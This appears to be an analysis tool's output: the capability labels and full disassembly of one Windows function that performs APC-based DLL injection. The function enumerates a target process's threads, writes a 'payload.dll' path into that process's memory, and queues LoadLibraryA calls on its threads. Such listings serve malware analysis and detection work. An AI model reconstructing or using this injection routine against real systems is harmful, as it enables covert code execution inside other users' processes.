Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Enumerate threads
Inject apc
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor r15d, r15d
lea rcx, str.Input_the_Process_ID:
mov dword [rsp + 0x30], r15d
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64____ptr64]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea r8, str.C:Users_blackDesktoppayload.dll
mov edx, 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov esi, dword [rsp + 0x30]
lea r9d, [r15 + 4]
mov edx, 0x1f40
xor ecx, ecx
mov r8d, 0x3000
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x14000136e
xor edx, edx
mov r8d, 0x1f40
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov qword [rsp + 0x4c], r15
mov edx, esi
lea ecx, [r15 + 4]
movdqu xmmword [rsp + 0x3c], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000136e
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14000118e
cmp dword [rsp + 0x44], esi
jne 0x14000117c
cmp edi, 0x7d0
jae 0x14000118e
mov eax, dword [rsp + 0x40]
mov ecx, edi
inc edi
mov dword [r14 + rcx*4], eax
lea rdx, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140001162
mov r8d, dword [rsp + 0x30]
xor edx, edx
lea ecx, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400011b7
lea rcx, str.failed_to_open_Process_n
call fcn.140001010
jmp 0x14000133a
mov qword [rsp + 0x1c0], rbp
xor edx, edx
mov r9d, 0x3000
movaps xmmword [rsp + 0x190], xmm6
mov r8d, 0x1000
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x140001213
xor edx, edx
mov r8d, 0x1000
mov r9d, 0x4000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000131e
lea rax, [rsp + 0x60]
mov r9, 0xffffffffffffffff
nop
cmp byte [rax + r9 + 1], r15b
lea r9, [r9 + 1]
jne 0x140001220
lea r9, [r9*8 + 8]
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x60]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001252
mov rdx, rbp
jmp 0x1400011f0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [rdi - 1]
xorps xmm6, xmm6
movsxd rsi, ecx
mov r15, rax
test ecx, ecx
js 0x1400012d7
movaps xmmword [rsp + 0x180], xmm7
movss xmm7, dword [0x140003404]
nop
mov r8d, dword [r14 + rsi*4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x1400012c9
mov r8, rbp
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x1400012c0
addss xmm6, xmm7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
sub rsi, 1
jns 0x140001290
movaps xmm7, xmmword [rsp + 0x180]
mov edx, edi
lea rcx, str.Total_Thread:__d_n
call fcn.140001010
cvttss2si ebx, xmm6
lea rcx, str.Total_Failed:__d_n
mov edx, ebx
call fcn.140001010
test ebx, ebx
je 0x140001365
xorps xmm0, xmm0
mov eax, edi
cvtsi2ss xmm0, rax
divss xmm0, xmm6
comiss xmm0, dword [0x140003400]
ja 0x140001365
lea rcx, str.Inject_may_be_failed_n
call fcn.140001010
lea rcx, str.Failed_to_inject_DLL_n
call fcn.140001010
mov rbp, qword [rsp + 0x1c0]
movaps xmm6, xmmword [rsp + 0x190]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400013a0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
lea rcx, str.Success_to_Inject_APC_n
jmp 0x140001325
lea rcx, str.Can_not_list_the_threads__n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3